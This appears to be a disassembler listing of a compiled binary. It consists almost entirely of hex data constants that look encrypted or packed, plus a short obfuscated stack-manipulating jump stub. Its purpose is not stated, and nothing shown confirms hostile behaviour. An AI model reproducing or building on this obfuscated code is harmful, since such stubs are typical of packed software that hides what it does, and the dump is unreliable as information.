dd 16471C5Ah, 0BA1390EDh, 7F751C53h, 1E3E54E3h, 9A35606Fh
dd 0BD37BCE3h, 0C109526Fh, 2B0E1923h, 94B91213h, 81070393h
dd 0DB72E21h, 573B296Ah, 48B79E61h, 0CF3B2056h, 487F905Dh
dd 25471C5Ah, 123390EDh, 0B3751C53h, 712FB4E3h, 0A935606Fh
dd 2424D0E3h, 0D09526Fh, 4D0E1937h, 0A7B91213h, 18073D63h
dd 5B72E21h, 313B296Ah, 0B78F967Fh, 113B296Ah, 35B11C13h
dd 4D071707h, 0A9356166h, 243684E3h, 0D09526Fh, 4D0E19F7h
dd 9FB10C13h, 180E19F3h, 0B3B6066h, 713074DBh, 2546156Fh
dd 391B90EDh, 0B3751C53h, 783E40E3h, 0A935606Fh, 243A54E3h
dd 0D09526Fh, 4D0E193Fh
dd 0A7B91213h, 1807036Fh, 0D5B72E21h, 313B296Ah, 0FFB79E61h
dd 563B2045h, 8453905Dh, 43471C5Ah, 285390EDh, 2A751C53h
dd 0B43E70E3h, 0CF35606Fh, 173604E3h, 9409526Fh, 810E190Fh
dd 0C1B91213h, 2B07085Fh, 1ECD1E21h, 883210E2h, 0BFD8FC66h
dd 0A709EA99h, 18071783h, 88399069h, 0C1BF1566h, 2B09BD39h
dd 0EEC9C68Fh, 51B72E99h, 4B3B206Ch, 22320DE3h, 9B8F9666h
dd 893B296Dh, 44399069h, 0A7BF1566h, 116AF345h, 77C9BA8Fh
dd 81B72E99h, 2D3B296Dh, 113219E2h, 41B72E66h, 4B3B296Dh
dd 223210E3h, 0EAA0FC66h, 888CEA99h, 0C7321566h, 0A73D1498h
dd 11321523h, 838B905Dh, 0C13D1C5Ah, 2232156Dh, 73D690EBh
dd 0E5DB153Eh, 7FCDEA9Dh, 1E39A8E3h, 1AB71A6Fh, 5321566h
dd 1C514FE3h, 0D964FC66h, 9409EA99h, 810E1EA7h, 44399069h
dd 0A7BF1566h, 116A76F9h, 77C92A8Fh, 0FAF29E99h, 22321567h
dd 943DE36Dh, 88321563h, 0BBC9368Fh, 0ABC29E99h, 241930D3h
dd 1879C6Fh, 0C43B2043h, 0A73DFC58h, 11321540h, 8B336BEDh
dd 0C5EC9E98h, 227215A5h, 348F2E66h, 873B204Dh, 44321DE4h
dd 2DC92E66h, 113210E0h, 72D4FC66h, 0F9B9EA99h, 2B070BA3h
dd 21BF90A1h, 88321C53h, 0CD521566h, 17179CD3h, 0DCAF986Fh
dd 773B2940h, 66B01AB5h, 0AF321566h, 2BBD95FBh, 87E1EA6Fh
dd 0BBCDCBE5h, 0AB879E99h, 983B2043h, 0BD0298D3h, 93AF986Fh
dd 0DD3B2E0Dh, 34B79EB5h, 13B204Dh, 71179CE3h, 0BFBF746Fh
dd 180E3650h, 15BFC699h, 4D0E3378h, 0A13DC699h, 1132156Ah
dd 0ADBB90E5h, 0AD371C53h, 0DDCDEAB8h, 377588EBh, 5BCD1C5Ah
dd 443A9669h, 0E0B11566h, 1100FC62h, 15BF1566h, 4D089AE6h
dd 0A13DC699h, 1132156Dh, 0ADBBA0EDh, 0C4DB1C53h, 0A9321561h
dd 24179CEBh, 1879C6Fh, 6F3B2043h, 9EBE2A8h, 0F896E697h
dd 77CDEAF0h, 281D88EBh, 0F1CD1C5Dh, 9419D2EDh, 81070BA3h
dd 6BE390EFh, 0A7B91C53h, 18070BA3h, 5BF4531h, 4D0979C2h
dd 0A7B9C499h, 18071ABBh, 0DB94236h, 4D070BA3h, 0F1BF9836h
dd 0EE3B2E0Ah, 3E29EB7h, 99BF3EAEh, 0A13B2069h, 24184CDBh
dd 0C3D156Fh, 4432154Dh, 0D9B90EDh, 94191C53h, 81073F3Fh
dd 0C23DD45Dh, 22321571h, 18F90EDh, 0D311C53h, 4D073F3Fh
dd 0A0790EFh, 52DB1C53h, 0D9321566h, 497AD4EDh, 22321A99h
dd 0B8B79C26h, 893B2049h, 7123B8E3h, 7BB7D26Fh, 113B204Ch
dd 0E2321566h, 54327D26h, 48631566h, 0E0A7EA66h, 773B2047h
dd 71168CF3h, 9FB79C6Fh, 983B2076h, 0BD1A20E3h, 0F1CD4C6Fh
dd 2B073D53h, 1EEFA099h, 77651C53h, 712CD0D3h, 47B7986Fh
dd 0EE3B2E17h, 0D1BF14B6h, 0CF3B204Ch, 171A20DBh, 0CC879E6Fh
dd 7B3B2069h, 79879EC2h, 8F3B207Ah, 11CE53A1h, 49321566h
dd 0A63710A6h, 214E2687h, 2403FCE3h, 0BDBF9E6Fh, 0CD3B204Eh
dd 64F5B86Eh, 1132159Ah, 0B5879C66h, 0C73B207Ah, 0A73DEA9Eh
dd 11321546h, 55EF2BE7h, 0C13DC8BBh, 22321572h, 113213A1h
dd 4EB11566h, 79879C62h, 0CB3B207Ah, 0EECDE380h, 8B31D5A7h
dd 7103FCE3h, 0EF8F966Fh, 103B2071h, 88AF9169h, 7AB31566h
dd 8898BFCCh, 11209069h, 4EB11566h, 0B874D262h, 22321566h
dd 0F8DBA5F1h, 88321565h, 14DAA5F1h, 2053A8E5h, 1E331C53h
dd 88322BE2h, 4532AD66h, 9FB11566h, 180E1EB7h, 80B61A66h
dd 0C9321566h, 1946B3FBh, 91E1EA6Fh, 0C3D8559h, 4432156Eh
dd 0CB37D2E5h, 11321525h, 8762EDE5h, 44321FE4h, 88A2A566h
dd 35DBBF3Eh, 0D0321566h, 0BB4D95CCh, 3AB71A8Fh, 92321566h
dd 0B439C4DBh, 0C03D156Fh, 2232156Eh, 654488EBh, 5BCD1C5Dh
dd 0CF3652EEh, 171A20E3h, 92F53E6Fh, 2599118Eh, 44CE53A1h
dd 0CB321566h, 0EECDEA77h, 940FA0EFh, 2C601C53h, 22329566h
dd 0A4CD150Ch, 810707B7h, 6FEB8099h, 0A9681C53h, 241EA0EBh
dd 8833D26Fh, 0C7321566h, 0AFBB11A7h, 180739D3h, 77C7058Fh
dd 4296FC99h, 0A9521566h, 241EA0EBh, 13B9E6Fh, 7839D8EBh
dd 6C0A946Fh, 1E7E5132h, 883209E3h, 3CB37366h, 2D1C5962h
dd 113205E3h, 0BC29E66h, 0C1B913A0h, 2B073E5Fh, 1133138Fh
dd 3C29E66h, 0E8FB26B6h, 0A63D155Ah, 1132153Bh, 0C3D385Ah
dd 0BBCDEA89h, 0A63D3B5Ah, 1132155Bh, 0A3D255Ah, 44321466h
dd 0A43D2C5Ah, 0EECDEAB1h, 0A3D545Ah, 44321596h, 0A43D4F5Ah
dd 0EECDEAA1h, 0C3D4A5Ah, 0BBCDEAD9h, 0A03D745Ah, 113215BEh
dd 0E3D6F5Ah, 0BBCDEAC9h, 2232DE8Fh, 0C7095766h, 88F09169h
dd 5781566h, 0DDCD8F8Fh, 1EFB9099h, 8832A6E2h, 21879866h
dd 0A93B206Ah, 0A1C89EACh, 0D3DBB48h, 0BBCDEA9Fh, 0FBC5DA4Dh
dd 0E6B5EC4Dh, 0CFF4B195h, 0D1BF1599h, 2B071903h, 0A7B90EDh
dd 48B71C53h, 44289069h, 0A7F41566h, 180702FBh, 2FE07D21h
dd 0F1CDC1FCh, 2B07031Bh, 6A4290EBh, 58CD1C5Eh, 0C1E2EA34h
dd 1AB71AA6h, 9A321566h, 0BD230CE3h, 4BF2906Fh, 22320FE3h
dd 8CB7D366h, 0C43B2071h, 9E2EFC0Eh, 5F87EABFh, 9C3B2070h
dd 0B04965E3h, 16E2EA6Fh, 0E2B7C599h, 11379069h, 0A9DB1566h
dd 0CD321566h, 1E39D8E3h, 9C64456Fh, 0B0AA2EE3h, 4FE2EA6Fh
dd 27B71AA6h, 0F8321566h, 88321562h, 581651EFh, 0A952D607h
dd 2D39D8EBh, 49B9456Fh, 0CF0E5565h, 22329DF6h, 88A79C66h
dd 8D3B206Ch, 4432159Eh, 0AB3E45EDh, 243958F3h, 0CCB94D6Fh
dd 85193142h, 297F905Dh, 933D1C53h, 88321576h, 4EAB905Dh
dd 0A13D1C53h, 11321562h, 8836D707h, 6036D207h, 22321566h
dd 151651A1h, 88321566h, 443210DEh, 20BF9866h, 0EE3B202Ah
dd 8EB87587h, 0C03DFC5Ah, 22321558h, 953DFD5Ah, 88321524h
dd 0C03D1A5Ah, 22321574h, 953DD85Ah, 88321559h, 0C03DFE5Ah
dd 2232152Fh, 4FB8D607h, 78D19567h, 4BB2EEE6h, 0DDCDFAE3h
dd 92EC9E99h, 0D63113A5h, 4426FC64h, 7CB91566h, 0EAC99667h
dd 881B9169h, 9AB91566h, 0A1334B65h, 0D8DB10A5h, 87CDEA99h
dd 0C7334BD0h, 0A63D3B8Dh, 0EECDEADAh, 88321F8Fh, 454C9566h
dd 8FB71A98h, 0F8CDEA99h, 77CDEA06h, 13614430h, 0A89ED555h
dd 0E1D195BEh, 8742EEE6h, 4432F9E2h, 2D3D2966h, 113230E2h
dd 87DB2966h, 443391E2h, 2DD92966h, 113000E2h, 87D12966h
dd 443264E2h, 2DD02966h, 113056E2h, 0D1694A66h, 0C1F5D638h
dd 2B0E19FBh, 11321560h, 6BB20BECh, 0C4C99596h, 0DDD19069h
dd 9A7CEA99h, 0BD1930E3h, 0C9A79E6Fh, 0A93B2056h, 17F196B8h
dd 0B3304B65h, 4CB01ABEh, 19321566h, 0AFB41ABCh, 0A3CDEA99h
dd 42D996B9h, 8954B800h, 0D7B1BEF5h, 0AC0E9C62h, 481661EFh
dd 7BBA0EFh, 4A6D1C53h, 4CB14B3Fh, 0BE52FC62h, 0A7F5EA99h
dd 180E19FBh, 88321564h, 0F23DCBEDh, 0A2CB9568h, 113A9669h
dd 51311566h, 443FFC25h, 0CBB21566h, 90EBE299h, 8832EA87h
dd 0CFEB3E66h, 171930E3h, 9CA79E6Fh, 0B3B2056h, 713444DBh
dd 0A63D146Fh, 113215C5h, 0A3DCD5Dh, 443215FDh, 0A03DCF5Dh
dd 0EECDEA27h, 88329B8Fh, 0D9B7D266h, 203B296Ah, 9A321566h
dd 86841AB8h, 4BB2ECE6h, 22321DE5h, 52EB1666h, 8832188Fh
dd 0BBDB9566h, 0C3B3CC91h, 11321599h, 0DB9CC4Dh, 4D073E43h
dd 12BF80EDh, 0ACB11C53h, 81071337h, 0CB61A67h, 19321566h
dd 19B01ABEh, 0B3321566h, 0A2B41ABCh, 6CCDEA98h, 9B981AD6h
dd 8B2A568h, 85381A87h
dd 0A1ED3ECCh, 0BAA1118Dh, 130D3E5h, 71179CD3h, 73B7D26Fh
dd 103B2060h, 0B321566h, 1D6911A2h, 0A136D1E5h, 66DB11A2h
dd 0C6CDEA9Fh, 0CF98FCD6h, 0A1F53EA0h, 9299118Eh, 0D16911A2h
dd 40F69638h, 0DDCBD28Fh, 8CB7D299h, 8D3B296Ah, 0CF321566h
dd 26F196B8h, 94B90B65h, 81073E43h, 74BF80EDh, 0A17C1C53h
dd 2432FCDBh, 0C3D146Fh, 44321465h, 0A03DCD5Dh, 1132156Eh
dd 0E3DCF5Dh, 4432154Dh, 7BBA0EFh, 8CB91C53h, 810E19FBh
dd 48164967h, 2232CB8Fh, 94F54A66h, 8107158Fh, 44321567h
dd 0A16C4C3Dh, 0E6DB11A2h, 0BCDEA9Eh, 713444DBh, 0A63D146Fh
dd 113215DDh, 0A317884Dh, 0C9B91C53h, 2B070BA3h, 0DE19DE65h
dd 3837FCE5h, 0EFA3BF8Fh, 7936D1E5h, 0D5B14B3Fh, 711CFC62h
dd 0C1F5EA99h, 2B0E19FBh, 11321564h, 3E3DCBEDh, 0C4CB9568h
dd 223A9669h, 0C8311566h, 883FFC25h, 0ADB21566h, 0A3EBE299h
dd 1132EA87h, 3EB3E66h, 711930E3h, 0AFA79E6Fh, 0F83B2056h
dd 77CDEA20h, 48AF90A1h, 22301C5Ah, 0CFB91566h, 83CA369h
dd 0C73D959Fh, 2232156Eh, 0F871CC65h, 8832156Bh, 0B3CDFCE6h
dd 0DDD394BFh, 3A321566h, 0ADB79EBFh, 0CF3B204Dh, 170298F3h
dd 408F966Fh, 893B2060h, 0BAFB9169h, 0FA09EA99h, 113A9769h
dd 52091566h, 0B9559369h, 0A97CEA99h, 92FD3EA8h, 6182108Fh
dd 0AD9984CCh, 0DDCDEDEEh, 0F90E13ECh, 88349169h, 0ADCA1566h
dd 2232157Eh, 12EC9E35h, 4BB11438h, 0EEDAA563h, 0C9B1CA4Dh
dd 4A998662h, 7137D3E5h, 0CF5444A5h, 2DF12960h, 113255E2h
dd 87F92966h, 44322DE2h, 2DF02966h, 11322DE2h, 87F82966h
dd 443225E2h, 0DD0F7366h, 21B61A43h, 0EE321566h, 4BCD3B5Bh
dd 223218E3h, 13749F66h, 280EE542h, 44119169h, 0DA6B1566h
dd 11322C8Fh, 0C9FB2666h, 44320C8Fh, 2231AC66h, 1EDB1566h
dd 31321566h, 44321560h, 2232108Fh, 1135AC66h, 2CC11566h
dd 74BF98EDh, 0EBB71C53h, 11349069h, 3DBB1566h, 4D0725EBh
dd 44F1EC3Fh, 0D20E13EDh, 88579169h, 9CB81566h, 0A2C2F6E6h
dd 953D659Dh, 883215FAh, 0C03DFC5Ah, 22321529h, 953DFE5Ah
dd 88321521h, 0C03DD75Ah, 22321559h, 953DDE5Ah, 88321551h
dd 61CD2800h, 221F9169h, 0DB0E1566h, 88179169h, 0A70E1566h
dd 22509169h, 2C541566h, 0D3DEA48h, 4432156Bh, 63053ECh
dd 1E922996h, 883213E2h, 4BDBED66h, 0AB321566h, 240298D3h
dd 5FAF986Fh, 0BB3B2E0Dh, 72F1ECB5h, 982253EDh, 0BD163CE3h
dd 82B14D6Fh, 838F987Ah, 0BC3B2060h, 0AC165165h, 0BD8F98CDh
dd 8F3B2066h, 35165165h, 35BFBE36h, 4D0705E3h, 67616CBh
dd 0D26CBE4Eh, 38AF9830h, 0BB3B2E0Dh, 0FF95FCB5h, 0CEDFFFFFh
dd 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h, 7E453BC0h, 0A8ED96ABh
dd 458A152Ah, 0DFA02429h, 79261957h, 1E2C5E91h, 798A152Ah
dd 162C5E89h, 798A152Ah, 492C5ECAh, 798A152Ah, 382C5E13h
dd 798A152Ah, 5C2A5EF2h, 798A152Ah, 6B2A5EFAh, 0AC8A152Ah
dd 54A851D6h, 0BA8660D5h, 0CE2559D7h, 4CB1DF49h, 6E32DCF1h
dd 0BA832EE1h, 0A8EDD871h, 458A42C3h, 58DDAEA2h, 0C88260D5h
dd 6F622238h, 0DF074623h, 5D939A98h, 3C6D5h, 5492B85Eh
dd 0F305E983h, 0E4CB8BA4h, 0B1DABA31h, 0EB32565Dh, 0C53EBC2Fh
dd 3C525F6Ch, 8A5A7411h, 0B977DDDCh, 0F4B95163h, 0B575DF79h
dd 38221331h, 0F4B95A1Ah, 0A175DFBAh, 0A1F09F36h, 34F436ABh
dd 83074148h, 0A4F305E9h, 9D11F1B0h, 75FD7AF2h, 0C117FB23h
dd 25F44152h, 0FDF53FD5h, 4E10E5ADh, 0B734229Eh, 23AC7ACFh
dd 20AD29B7h, 75FD7A1Ah, 987C2779h, 7CC69469h, 98DBFFA0h
dd 0C87D7314h, 0F305E983h, 8DDB8BA4h, 3C0CA9BDh, 908D8D09h
dd 0B8093C27h, 32156644h, 0E9C1CF2Bh, 0D0073102h, 4C783C8h
dd 0F2850F49h, 8BFFFFFFh, 0A1BD83C0h, 93526h, 0BD830975h
dd 9353079h, 50197400h, 0B8C08B53h, 411h, 2CA98589h, 9D8D0935h
dd 937B49Fh, 585BD3FFh, 3079BD83h, 74000935h, 0B8535017h
dd 411h, 2CA98589h, 9D8D0935h, 937B140h, 585BD3FFh, 0F2BBC08Bh
dd 0EB4672A4h, 0CD8F5D04h, 55EE976h, 31230000h, 0DC510794h
dd 0F20D8C5h, 0DF570992h, 61FE1BAh, 78110A93h, 9DFE9B92h
dd 485540DBh, 9C019E90h, 4E4F48E4h, 466C325Ah, 4212FA18h
dd 2B473291h, 58D143AEh, 88A45C41h, 3797021Fh, 364123A9h
dd 5F91171Ch, 930C2094h, 253A833Bh, 0E1796C79h, 71A8E15h
dd 73F2579Ah, 233AC481h, 57C93BB6h, 0CB25A74Ah, 24BDB12Bh
dd 726F0177h, 1CB9B729h, 0CDC863D5h, 0E550C101h, 6F5346DDh
dd 11EFD48Ah, 0EC73831Eh, 0A0A58FFCh, 6292071Eh, 346976E8h
dd 8B2427Ah, 2D24B001h, 0BEDB57C9h, 0F26D8F33h, 3E810FE7h
dd 6E1C35C3h, 6012E1F6h, 0BAADD282h, 0ACC53B56h, 556C62Dh
dd 4F775C1Fh, 0DF05B2ADh, 1C3545D5h, 0D221CFD1h, 6B59A64Eh
dd 50F61B72h, 0AB4C89h, 84760000h, 5D04F0E9h, 0C609B915h
dd 0F937F94Fh, 9C804A98h, 60721C35h, 8880B35Fh, 0D91DC301h
dd 23CECB67h, 36363195h, 0D3CE611Ch, 27B0AC20h, 0CF865CCh
dd 0AB996C69h, 86130CAEh, 0D3D9E96Bh, 40300E85h, 88C56D89h
dd 0DF895098h, 1, 812A47B0h, 616BAD44h, 0E4FAD26Dh, 1C361CDEh
dd 0D71AD4DAh, 83495733h, 771C361Ch, 160B8571h, 38C2688Bh
dd 0B83CB720h, 2DAAC23Ch, 0BCD952C6h, 30ADC335h, 9282D3C1h
dd 6E9036D7h, 9F11E0F5h, 58DC1782h, 23115E96h, 0FD9A9426h
dd 88272F6h, 490F8C15h, 0D7CFCCD5h, 0A64E4BE5h, 0AB2E4707h
dd 4059D448h, 4F7B43B1h, 36412B91h, 7D791F1Ch, 0D0493C28h
dd 100CD4C9h, 34C66C87h, 0E7599D3Ah, 0E9C05D48h, 6A896772h
dd 8E908E6h, 4796B79Dh, 40895000h, 0A1h, 0AB2E478Fh, 93396723h
dd 871C3641h, 680E9561h, 3AB9DE56h, 53CC3EB6h, 4B001418h
dd 23CD4D64h, 821F11ABh, 8A09ED6Fh, 79781D16h, 876A6F07h
dd 0FBD8CC19h, 35B0DFE5h, 1BD5DB1Ch, 0C48173F2h, 3DB9263Ah
dd 6E2FAAC3h, 666673EAh, 3ABADF54h, 72ED0FB3h, 93396767h
dd 871C35B0h, 31B9561h, 0B9098EA6h, 0BDECC3B5h, 39B836E8h
dd 0E2E7CD58h, 9BD2F8A6h, 6C021C35h, 0AD53556Fh, 31D125B4h
dd 8950A5ECh, 93041C9Eh, 7118DC60h, 3Ch, 0AB2E4722h, 3D5AD448h
dd 17FD1EB6h, 0CFCCCD64h, 76EB15DCh, 1914886Bh, 14866E80h
dd 49D9019h, 567907EAh, 5B1C3641h, 0C7D24973h, 0F74CA82Ch
dd 0FA014C0Dh, 166894Fh, 25000000h, 46AD2847h, 0B2415ED2h
dd 41B0253Eh, 0AC4752CFh, 82654FBCh, 0D6A19300h, 805F3C59h
dd 33715D35h, 150363A4h, 299B5658h, 0DAAB7E35h, 3BB6233Ch
dd 7EDB09B9h, 7F019A54h, 6DFBF6E3h, 13013249h, 29DCC855h
dd 6020AC35h, 1770C03Dh, 7B50A425h, 81706905h, 6B86130Fh
dd 0D1A490FDh, 6F57445Dh, 44FC090Fh, 0C13595B0h, 8582EC21h
dd 1377B92h, 2E4C0000h, 0D50BC39Bh, 15035F4Eh, 9E3B34CAh
dd 0AF1FD153h, 24FFC5DBh, 0F5FB1301h, 120E8201h, 4E2E1885h
dd 2BBAD68Fh, 0DE50A4FFh, 49795542h, 1F0AB91h, 0F37A7A04h
dd 0FDF4ED81h, 0EB06938Bh, 0FCF7E279h, 775C4895h, 0A36369h
dd 9F515713h, 790CF865h, 0AB9FFCE5h, 92859762h, 3C05h
dd 872EC600h, 23D907C7h, 971C3642h, 6852E211h, 771C3641h
dd 29B0A953h, 0B63D58D7h
dd 876DC232h, 0B814D4DBh, 3641D02Ah, 5FD2E41Ch, 41388220h
dd 0AA2C1C36h, 0F9F1AA44h, 9Dh, 0D39B2E5Ah, 0C3DC505Dh
dd 0B903A12Dh, 0AD1C3641h, 0DB09C52Bh, 15036974h, 42881672h
dd 36130116h, 3C861CB0h, 38130116h, 0E903EB6h, 0E4FD71E3h
dd 4B58D6E8h, 0CF27C9D4h, 0EDEA86FAh, 0C15E6006h, 0A34E4BE4h
dd 0A024CF21h, 17C9BE54h, 0CA671301h, 0B8B024CFh, 0F06DD41Fh
dd 0AA7B6104h, 4653CFBAh, 673F8A55h, 3F8C3967h, 6E700BD5h
dd 1C001E5Eh, 0D8595B2Bh, 0F23951Ch, 75ED5F92h, 41B8D64h
dd 0C6A85A99h, 0E34CF9A7h, 1D071EC1h, 0C9BB285Ah, 12BA9225h
dd 16ADFCCh, 0CAD3D515h, 0C39B2EE9h, 6AE8D50Bh, 0CACC150Ah
dd 20B9B527h, 7F1C12ACh, 42DEA277h, 7A0E9E55h, 0B65A8BBAh
dd 64D81BB8h, 9427CACFh, 27E4876Dh, 0D4C55D5Fh, 65B9B1Dh
dd 0EAF76B1Eh, 6F03FDB1h, 14088272h, 7CF4688Bh, 2826E12Dh
dd 6C926819h, 8D0FE2F7h, 1C9063h, 77E85C97h, 4C99876Ah
dd 76E79D58h, 7A67FB8Eh, 0D6C35F21h, 0C341C6F6h, 0A61ABFB6h
dd 0A94DF5DCh, 8402Ah, 4F910000h, 0F4E57D7Fh, 15476100h
dd 53CF41B0h, 2739AB46h, 0AEC537BAh, 0DD54C82Bh, 0AAC335BCh
dd 0D850C42Fh, 0AFC034BFh, 0D04DBF32h, 505D2AC9h, 405E089h
dd 83000000h, 48704E8h, 4895C24h, 0A066824h, 34890000h
dd 0E3895324h, 4C381h, 0EB830000h, 241C8704h, 241C895Ch
dd 71F3BA52h, 0CA812F1Eh, 0E3D0F9Ch, 56DBF281h, 89532603h
dd 5BDE89D3h, 4EC815Ah, 89000000h, 4832424h, 525B0424h
dd 8B951h, 0CA890000h, 89DA0159h, 34FF5A32h, 0C4815B24h
dd 4, 5E2434FFh, 0E904C483h, 0FFF95060h, 9F99820Bh, 4062446h
dd 21847A73h, 3C2DFDB8h, 0FFC50309h, 1AE7AE0h, 2BD5B278h
dd 0BC101F58h, 9DDEE86Dh, 6813E213h, 1ABC237Fh, 8EB3Eh
dd 0E5000000h, 0E90687A8h, 4A9h, 3C2FC168h, 501AE909h
dd 4D68FFF9h, 0E9093C30h, 0FFF95010h, 3C318F68h, 5006E909h
dd 0C577FFF9h, 2845BBE0h, 0FB74ECB1h, 233BBDDEh, 0FA73E5B6h
dd 84F5BEDFh, 316A6F06h, 7C21B4AFh, 306D6A04h, 722BB4A8h
dd 0EAD00EBEh, 0DE12FA13h, 2E470EADh, 0C53BA6BBh, 2FC22CADh
dd 6338A1BDh, 75593184h, 852F7519h, 8B1C3641h, 36416F55h
dd 7F456B1Ch, 84079D59h, 70150361h, 0D3F5836Eh, 313011Eh
dd 0CF7F726Fh, 6EEE179Fh, 3D35CB9Dh, 0BF5E647Ah, 545A1300h
dd 0FC69579Ah, 6A246D08h, 33BEDB50h, 4F045B1h, 857C0A43h
dd 2B55D92h, 492E0000h, 4DCE70Ah, 55271AC8h, 8B0D1503h
dd 0D62AD93h, 1EA0D81Eh, 118EA207h, 8EA014DFh, 905EE211h
dd 0EC6D164h, 0DB6520BEh, 1D6520B2h, 0D9F7AEB0h, 0CC23225h
dd 0AC6E795Ch, 28C6C46Dh, 0B36B3EC9h, 0AFBB851Bh, 29BF179Dh
dd 8747A930h, 0BBE0F975h, 34B02945h, 0DDF3B669h, 0BB05ED74h
dd 86000002h, 2AAEEFD4h, 6FF1AA37h, 40B8E5F0h, 6AEEAF28h
dd 0FEB5E6F3h, 7564FD8Dh, 1EBBB028h, 7865FB7Dh, 0D8C15D23h
dd 23C10DC3h, 12FA1299h, 2EBB008Dh, 0B30BC39Bh, 9EE3D5B0h
dd 47F30361h, 33994783h, 271C3544h, 74DF7581h, 7015096Fh
dd 742A5E6Eh, 12F96E4Eh, 0CC5B764Ah, 88360F7Eh, 9EEA8E66h
dd 65D706DEh, 6A644C15h, 0CDD08D2Eh, 0B12BCB25h, 47C21B8h
dd 0F7856C6Dh, 0DA8D6BA2h, 0E105928Eh, 0E066710Ah, 2F6650D3h
dd 0FA000002h, 5E227B58h, 13C5D6C3h, 641C811Ch, 0ED2CBCCh
dd 22198217h, 1188A169h, 3A5FD48Ch, 14819F61h, 445DD187h
dd 871D7157h, 12FA113Dh, 2E27AC39h, 0D50BC39Bh, 150A6C8Eh
dd 0E5F26A94h, 0B63D6311h, 6277EE10h, 5BE90D8Fh, 12FA1375h
dd 0C5AF36h, 2A0403C0h, 8373CAFEh, 8C91B2DBh, 165B592h
dd 47160000h, 7193802Bh, 9B1836DAh, 362A9E55h, 4053F4A9h
dd 0A2BA4488h, 0BA3ABE35h, 5D8DD00Eh, 5D831503h, 20C00696h
dd 24811301h, 1EB61730h, 33B19285h, 0E2000000h, 0BC39B2Eh
dd 3724AD5h, 24FAAE15h, 3F247F12h, 0A9537B75h, 44C82BB6h
dd 1DA331B0h, 0DE1300B1h, 91BC9D87h, 0D9928589h, 0A74F4AE7h
dd 0B800h, 2B47CF00h, 0DF9F43AEh, 6B037266h, 2497526Eh
dd 9B920CE8h, 6A84110Eh, 80191587h, 0E301CD71h, 1C3613D9h
dd 0B12BCBCDh, 60F802BDh, 0EAF87C77h, 1C3613E0h, 86234BD2h
dd 962CFBBBh, 1FBDDE10h, 1C36224Bh, 8D0E8BA7h, 9F2FE7B2h
dd 0A45D49DFh, 7480D023h, 0F14F1AC8h, 0A3451501h, 0D21F5F2Bh
dd 5E7D1963h, 0B1A822D2h, 74ED7328h, 0C8608165h, 0B63DF2D9h
dd 0EDCCh, 3D9AB800h, 1C859860h, 7B66F97Fh, 0D1C65E22h
dd 7C1D14CCh, 0A367141Fh, 0CA8E0F8Ah, 0A1574451h, 0D789128Fh
dd 6B5D3E5Bh, 10377D23h, 0A23312FAh, 0AB2E4721h, 0E5F26EF2h
dd 395CD7E9h, 0E9BE36BAh, 0AE2B474Ah, 545DD143h, 0B537BADFh
dd 3285623Bh, 8816725Ah, 1C364142h, 9844B036h, 30DC20Ah
dd 9834BA15h, 118A0F26h, 128FA31Dh, 7F814CAEh, 14E02A7Bh
dd 8D387Eh, 0EBF46813h, 0A2372EB2h, 68674Fh, 2EA80000h
dd 0D50BC39Bh, 150A6C9Ah, 0F599587Eh, 22EEE78Dh, 0CE30D7AFh
dd 3CAE4653h, 0E1B68920h, 3392BA09h, 418E0BDh, 9489339Bh
dd 0DA6AE90Dh, 0A519D2Bh, 0EE998BDAh, 57696572h, 943AB9DCh
dd 0AE9A644Eh, 0B03E6015h, 7DF16744h, 31B8D64h, 206D5B96h
dd 0B42D4134h, 0E4FD71E7h, 3D5AD6E8h, 3503AB9h, 81000000h
dd 1547844Fh, 53CF41B0h, 2739AB46h, 0AEC537BAh, 0DD54C82Bh
dd 0AAC335BCh, 0D850C42Fh, 0AFC034BFh, 0D04DBF32h, 525D2AC9h
dd 0C281E289h, 4, 8704EA83h, 895C2414h, 8956241Ch, 4C681E6h
dd 81000000h, 4EEh, 24348700h, 2414895Ch, 81E28952h, 4C2h
dd 4EA8300h, 5C241487h, 57240C89h, 0A50069BFh, 92E7817Bh
dd 81280C38h, 941EB3EFh, 0E1BB5352h, 3124DC30h, 0EF815BDFh
dd 9D03197h, 7145EF81h, 0FA89DEA7h, 4EC815Fh, 89000000h
dd 4832424h, 52590424h, 0E8240481h, 8F6D1428h, 0BF570841h
dd 6D1428E8h, 5F087929h
db 8Bh, 0Ch, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push dword ptr [esp]
pop edx
add esp, 4
jmp loc_5464A4
; ---------------------------------------------------------------------------
aJq db '├О,:',0
dw 25FCh
dd 0A9422094h, 32A1B8E5h, 0C503093Ch, 49C9E0FFh, 0F6023219h
dd 0EE112EB8h, 6EA23407h, 548B7BC0h, 3BC1306Ch, 19C56A29h
dd 2D45566Dh, 0B75F1D69h, 0BFD73D5h, 0E9F95BFFh, 890D4BF6h
dd 26664B5Ch, 1DB62399h, 21BA06D1h, 0E7C00AB0h, 4F361C3Fh
dd 465D63D3h, 0BC8C769Eh, 0C29F2193h, 0E5535FDCh, 297B3BA5h
dd 0EDE90E39h, 60000000h, 0A8D88C66h, 0DF840F04h, 8B000000h
dd 3521E5B5h, 0FE8309h, 22850Fh, 85C60000h, 935179Dh, 69696845h
dd 0B5FF8E72h, 9350EC9h, 7B70858Dh, 0D0FF0938h, 1AC98589h
dd 0F08B0935h, 0FE93E80h, 3185h, 59858D00h, 0FF093A87h
dd 5BD8BD0h, 8109350Ch, 1184C7h, 0E5B58B00h, 87093521h
dd 8B9F7h, 0A4F30000h, 21E5B58Bh, 858D0935h, 938A94Eh
dd 0B58BD0FFh, 9352385h, 0F00FE83h, 2285h, 9D85C600h, 54093517h
dd 4EBEF468h, 0C9B5FFFFh, 8D09350Eh, 387B7085h, 89D0FF09h
dd 35238585h, 80F08B09h, 850FE93Eh, 3Ah, 2385B58Bh, 858D0935h
dd 93A8759h, 0BD8BD0FFh, 9350C05h, 1184C781h, 0C7830000h
dd 85B58B08h, 87093523h, 8B9F7h, 0A4F30000h, 2385B58Bh
dd 858D0935h, 938A94Eh, 0C361D0FFh, 33C1858Dh, 8589093Ch
dd 935036Dh, 0E79E04EBh, 51E93A8Dh, 82000005h, 36AAF3D0h
dd 7BFD9E3Bh, 0DCA4F9E4h, 964A5344h, 9AA1FA9Fh, 0A93029E1h
dd 0E2F76CF4h, 0AC2947B9h, 0ECF569EFh, 0FD5F9AFh, 12FA0DA5h
dd 15CFF4A1h, 41A12BB9h, 23951C36h, 0E2668D08h, 0FA76E80Ch
dd 79DF1DDh, 1C3641BDh, 40BF37B9h, 574455CCh, 8248DA1h
